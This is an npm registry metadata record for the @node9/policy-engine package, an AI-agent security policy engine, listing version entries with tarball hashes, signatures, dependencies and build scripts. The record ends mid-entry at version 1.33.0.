{"_id":"@node9/policy-engine","_rev":"122-d4998d875a719f36ecf10dcf6a192c70","name":"@node9/policy-engine","dist-tags":{"latest":"2.26.2"},"versions":{"1.0.0":{"name":"@node9/policy-engine","version":"1.0.0","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@1.0.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"62c4443e48441a66dbd3916d34c5959612c5aeab","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-1.0.0.tgz","fileCount":7,"integrity":"sha512-4vGBvy4iTp1cmfVPJh2gfX9ACp2Dxww9ccn+Cy5VKH0e9iOIPYtmb1giRpXHiI5cWrmtOzQ02wJkzGF5+rXwmg==","signatures":[{"sig":"MEQCIFFWTRdc5/ntqGOih2gToCGg9OT/q99WGRmEozhWOwHWAiBQTpRQQw9H/86AoMkfB1FuRK3U5dOtwPGIDwW1LqUmng==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":202349},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"a68d8b4617fa5d0ce3116dd5dcc548cf11ec3599","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"node9.ai","email":"nadav@node9.ai"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"11.12.1","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"25.9.0","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^4.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_1.0.0_1777397948677_0.8705513497273638","host":"s3://npm-registry-packages-npm-production"}},"1.4.0":{"name":"@node9/policy-engine","version":"1.4.0","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@1.4.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"96db48ddb49297d74fe7b12cbf193de2be183f8e","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-1.4.0.tgz","fileCount":7,"integrity":"sha512-qVT6LO1prwS2jD01Bax0IXswQ6JOo1R8LaAQRc4c+mgmInCkzc2rTYW+SMOSSkhn86ZYDdNWrORBwn/w+bE7Pg==","signatures":[{"sig":"MEYCIQCbXrzKO4fKGDj8bgu6xLUN82m/9kZhKFWN42V77BqaSQIhAJnxusyokCIFgEOif7f3BRh3wq3IW13EQEz31YVeVq0o","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@1.4.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":247773},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"b7ca6c040101d79e40283155a6f5ead94bb0aaf1","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"node9.ai","email":"nadav@node9.ai"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"10.9.7","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.22.2","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^4.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_1.4.0_1777983912064_0.07233683817167424","host":"s3://npm-registry-packages-npm-production"}},"1.5.0":{"name":"@node9/policy-engine","version":"1.5.0","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@1.5.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"6f82c86ef5d23662b8e8bb951f1989fef91c3fde","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-1.5.0.tgz","fileCount":7,"integrity":"sha512-wclcgHtM7+/zIMqTvYDCxohCEtUXL5vMx8cWI3wB6CzJk0oY5XgxJkTzVgM61ZiZI19lgEHQNUAPQ9mpJcEODA==","signatures":[{"sig":"MEUCICyuBTrpfeVhy4u27U3yhTm9INQx9ZBPVHcqQmvn28F4AiEA2asHXI0neGFJXu3ymvZyMYeTAkhmJWoRMbmxLneXpcM=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@1.5.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":320963},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"8423e9aabca35070839f96bf1a91365fa00292a0","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"node9.ai","email":"nadav@node9.ai"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"10.9.7","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.22.2","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^4.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_1.5.0_1778735549281_0.9311218091748954","host":"s3://npm-registry-packages-npm-production"}},"1.26.3":{"name":"@node9/policy-engine","version":"1.26.3","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@1.26.3","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"e0aa9bdf9f566b82d64724fea4fc37135f5d77e1","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-1.26.3.tgz","fileCount":7,"integrity":"sha512-uOov4B2BFlE50xk5hk3DurFv9Pkhdz5xoGrkQMTZrNMAaLsSIS9vcOD3m6k7cFuBlCvTjEqx35rsOYhXm27+Pg==","signatures":[{"sig":"MEQCIHn20ThdfJjMJxaax0EgVKLXtNqCjDSavr1ki8i1fcBrAiB8vE3ypPcaCrprL5aTdsUUtUlw24530BNUc3AgKjyLAw==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@1.26.3","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":324934},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"65b1744d38489af5c19d331f9d1e24ba2a65b312","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"11.15.0","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.22.3","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^4.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_1.26.3_1779470786773_0.5486350605076922","host":"s3://npm-registry-packages-npm-production"}},"1.27.0":{"name":"@node9/policy-engine","version":"1.27.0","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@1.27.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"08bc3b07dc1706d89920f498e614ba3b602fee17","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-1.27.0.tgz","fileCount":7,"integrity":"sha512-yD/wDBjfkVcTJmkjyoRhP0WgJiL9RkMVD9q3RRXauzAE8HqITcV85xX1sIzgJZeKl8P144GxKimFTrpkcuQSRQ==","signatures":[{"sig":"MEUCIE+pxDVm7CydDcKZvIKcAQFhtQ4NTWF8Xz+Cbwcd6Qj9AiEAndmjYYeVVMqZHCGqlxHCFIr6tRr9GEoR6Z+3DlF6yzI=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@1.27.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":324934},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"38a95043517f8d61da219369bcdba46208b89b8e","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"11.15.0","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.22.3","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^4.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_1.27.0_1779642291569_0.7526140857170693","host":"s3://npm-registry-packages-npm-production"}},"1.27.1":{"name":"@node9/policy-engine","version":"1.27.1","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@1.27.1","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"6be5e5c39b29400ab33258ca274b067e2dc53b23","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-1.27.1.tgz","fileCount":7,"integrity":"sha512-bPRZFQP6bpw4/bkDYYJdGQvDfe+yCTr6xRiiO4YMWfcNvreYvcJZBK72AitXFJb8+oKc9x6iNJZHHGGgJS+8UA==","signatures":[{"sig":"MEYCIQDoykcwFIbPLyYMfWy2fHhMUDJr+5pfPlLUOwCtL6Z7uAIhAODFcyuo7WKxrPaqZE97cZk9/85gBTp0JqYXDs1/wZzt","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@1.27.1","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":324934},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"0d33b0e6066a00816ab7066c6a0d97e92a7cf839","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"11.15.0","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.22.3","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^4.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_1.27.1_1779743546469_0.8613616216582429","host":"s3://npm-registry-packages-npm-production"}},"1.28.0":{"name":"@node9/policy-engine","version":"1.28.0","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@1.28.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"237b76c38626781481de820f71133a382c1def3b","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-1.28.0.tgz","fileCount":7,"integrity":"sha512-z8g/sEVL52+odCUzsfgkJwrTaIvaH1PpZmnQeXND7DNNMQRd1ZWdw8aUWamxLDJiah5A9slYFeJdGu2xC+FGLQ==","signatures":[{"sig":"MEUCIQChLJ+euaBhKhIPtua1bYlDYMD19Sb+8LeuahM7IPturQIgb8HNZ+KMRDUQNqi6nMO+Vq4YtbNLb8D4uNT41t9ZdBE=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@1.28.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":324934},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"284a088c6e3814e29eaf53500312a65e8ef9d491","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"11.15.0","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.22.3","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^4.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_1.28.0_1779899960301_0.8928855153941546","host":"s3://npm-registry-packages-npm-production"}},"1.29.0":{"name":"@node9/policy-engine","version":"1.29.0","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@1.29.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"bd0bb086f55484729b0eab618ada78fee1841181","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-1.29.0.tgz","fileCount":7,"integrity":"sha512-SJi5dP0cH6u5nkuUwGOrPK5GAAVxrbUzMJLj9WG/iLoQAF0ZKz456rrZpr3eLeVTzC/iySn45tzcnVUNm/uRhQ==","signatures":[{"sig":"MEUCIQDBd/A2X+s2YjBw7eNnGV+37N/z3vZRbqYa92kOhmx6SwIgQgA0oqe5UXbLpPy10DjgAJO/uznfcjFve8ABw62+ELA=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@1.29.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":324934},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"976165ea3022962a0bb8b60081f60c07041038e2","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"11.16.0","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.22.3","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^4.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_1.29.0_1780813395292_0.8174048324389134","host":"s3://npm-registry-packages-npm-production"}},"1.30.0":{"name":"@node9/policy-engine","version":"1.30.0","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@1.30.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"d1e3267e38bb545a055b3a0136f5b8e50cc56c9e","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-1.30.0.tgz","fileCount":7,"integrity":"sha512-8QmkhxUiwdKH3ExOv6xTv/R6u9/bLp7K5kxjM1KqeYiREp5uVFlfaI8TUqKh1eK8E7YWu0Fy2vGerqu5oY92bg==","signatures":[{"sig":"MEUCIBPmPZe44nX8EptUoZYaLzgOXe4siFr0BCsfpUDKla+fAiEAikABfSH1Ypjdz7OVX1rnCUxaz+2vjnvS3QQJm5W546g=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@1.30.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":324934},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"3d654226bb4f03a446c8382ea750d3b6cf5cca27","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"11.16.0","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.22.3","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^4.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_1.30.0_1780854745657_0.11289025301877387","host":"s3://npm-registry-packages-npm-production"}},"1.31.0":{"name":"@node9/policy-engine","version":"1.31.0","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@1.31.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"eac5ca78d66f377dc4e6e43fb6a0520b12b8feba","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-1.31.0.tgz","fileCount":7,"integrity":"sha512-RkEXT2Qpt/pfLWie4bk1VAAnvBtrPnZAUZjfEh6DRB0X6/8qOtXXhLG2Y1G7Xi7Cwr175G0T6L7MpfWmdxaL+A==","signatures":[{"sig":"MEUCIQDC0swbyLCzteghgcOT9wC8h+8Oy2MX63VIN/xHWoXsXgIgWvSdyFwoEio2u1hAttKDurRSN6skyqSUejyB+zpeH3M=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@1.31.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":347934},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"579c0e882c205cd2ae79e141e28b3ba5bd1d766a","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"11.16.0","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.22.3","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^4.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_1.31.0_1780866239108_0.13644990004711377","host":"s3://npm-registry-packages-npm-production"}},"1.32.0":{"name":"@node9/policy-engine","version":"1.32.0","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@1.32.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"faad9b294095fa8de383a7646ae6f5e7d923c9d1","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-1.32.0.tgz","fileCount":7,"integrity":"sha512-Yui0/o1hhfBO9gQLTO/d/sf2iFtZIhEIBtTUAketm9snOpP5PCaMhAngtC935NVDYd59elIgmLWwQ8RYfl/TeA==","signatures":[{"sig":"MEQCIEg+BX4SBVYGx3R2uP0tTY5wrEDtrSkc4QQGQGb3f+5yAiBI7wYteU12VGW7S5pTSbWW/09aXijatiMFHY0W9+CX0Q==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@1.32.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":347934},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"49987ff5f03b2fa6aa06fe9f890fb6c9117ddc52","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"11.16.0","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.22.3","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^4.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_1.32.0_1781000467828_0.937495298487635","host":"s3://npm-registry-packages-npm-production"}},"1.33.0":{"name":"@node9/policy-engine","version":"1.33.0","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@1.33.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"fa2de41282b8f6d4c852dadfed2021e7423b9d65","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-1.33.0.tgz","fileCount":7,"integrity":"sha512-1hu2Uwp96zTUUcMRo7yhUE4HvJlyT/DJeu0pi1+SqmSgnStAKXYxYv7VNpdZ0c9UIBUxBxABJx3xEpSFcpM0ag==","signatures":[{"sig":"MEUCIQDxMbKoLrk+6pmjgPevDGsgSl2zI4Vd8/k5DAoK7PRUyQIgEJD9o8rVgETw8YBsuj1b2kloZ5ZdHCIPfZYN0Zv4p60=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@1.33.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":352230},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"2398c8f4a86e56d64c5480817ab39a6dbc470d8d","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"11.17.0","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS 